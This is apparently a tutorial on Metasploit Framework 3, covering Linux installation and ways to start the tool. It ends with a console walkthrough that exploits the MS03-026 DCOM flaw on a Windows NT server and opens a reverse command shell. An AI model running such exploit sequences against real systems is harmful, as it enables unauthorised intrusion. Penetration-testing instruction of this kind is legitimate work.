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Metasploit 3


The Metasploit Framework consists of tools, libraries, modules, and user interfaces. The basic function of the framework is a module launcher, allowing the user to configure an exploit module and launch it at a target system. If the exploit succeeds, the payload is executed on the target and the user is provided with a shell to interact with the payload.




Windows - Simply double-click on the executable.


Unix -


Requires ruby to be installed prior to extraction and compilation

[root@FC9 ~]# yum install ruby ruby-irb ruby-libs ruby-rdoc ruby-devel readline rubygems
Loaded plugins: refresh-packagekit
livna | 2.1 kB 00:00
primary.sqlite.bz2 | 4.3 kB 00:00
fedora | 2.4 kB 00:00
updates-newkey | 2.3 kB 00:00
primary.sqlite.bz2 | 3.3 MB 01:01
updates | 2.6 kB 00:00
Setting up Install Process
Parsing package install arguments
Package readline-5.2-13.fc9.i386 already installed and latest version
Resolving Dependencies

Dependencies Resolved
Package Arch Version Repository Size
ruby i386 updates-newkey 525 k
ruby-devel i386 updates-newkey 796 k
ruby-irb i386 updates-newkey 285 k
ruby-libs i386 updates-newkey 1.7 M
ruby-rdoc i386 updates-newkey 353 k
rubygems noarch 1.2.0-2.fc9 updates-newkey 599 k

Installed: ruby.i386 0: ruby-devel.i386 0: ruby-irb.i386 0: 
ruby-libs.i386 0: ruby-rdoc.i386 0: rubygems.noarch 0:1.2.0-2.fc9

[root@FC9 ~]# gem install -v=1.2.2 rails
Successfully installed rake-0.8.3
Successfully installed activesupport-1.4.1
Successfully installed activerecord-1.15.2
Successfully installed actionpack-1.13.2
Successfully installed actionmailer-1.3.2
Successfully installed actionwebservice-1.2.2
Successfully installed rails-1.2.2
7 gems installed
Installing RDoc documentation for rake-0.8.3...
Installing RDoc documentation for activesupport-1.4.1...
Installing RDoc documentation for activerecord-1.15.2...
Installing RDoc documentation for actionpack-1.13.2...
Installing RDoc documentation for actionmailer-1.3.2...
Installing RDoc documentation for actionwebservice-1.2.2...For online updates, subversion also requires to be installed

Then simply use tar -zxvf framework_version.tar.gz


Updates can be run and use subversion, the command svn update should be run from the framework directory.


It is available from here.




Metasploit in Linux can be started a number of ways via the command-line;


./msfweb will load the web version


The screen above shows the console and exploits gui already opened. 


./msfgui will load the gui



./msfconsole will load the console version.


The following is a simple exploitation of a Windows NT 4 server via the console:


>> use windows/dcerpc/ms03_026_dcom

msf exploit(ms03_026_dcom) >

>> set RHOST

>> set PAYLOAD generic/shell_reverse_tcp
PAYLOAD => generic/shell_reverse_tcp

>> set LHOST
msf exploit(ms03_026_dcom) >

>> show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 135 yes The target port

Payload options:
Name Current Setting Required Description

---- --------------- -------- -----------
LHOST yes The local address
LPORT 4444 yes The local port

Exploit target:
Id Name
-- ----
0 Windows NT SP3-6a/2000/XP/2003 Universal

>> exploit
[*] Started reverse handler
[*] Trying target Windows NT SP3-6a/2000/XP/2003 Universal...
[*] Binding to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:[135] ...
[*] Bound to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:[135] ...
[*] Sending exploit ...
[*] Command shell session 2 opened ( ->
[*] The DCERPC service did not reply to our request

Microsoft(R) Windows NT(TM) (C) Copyright 1985-1996 Microsoft Corp.


>> hostname
hostname sql7-nt




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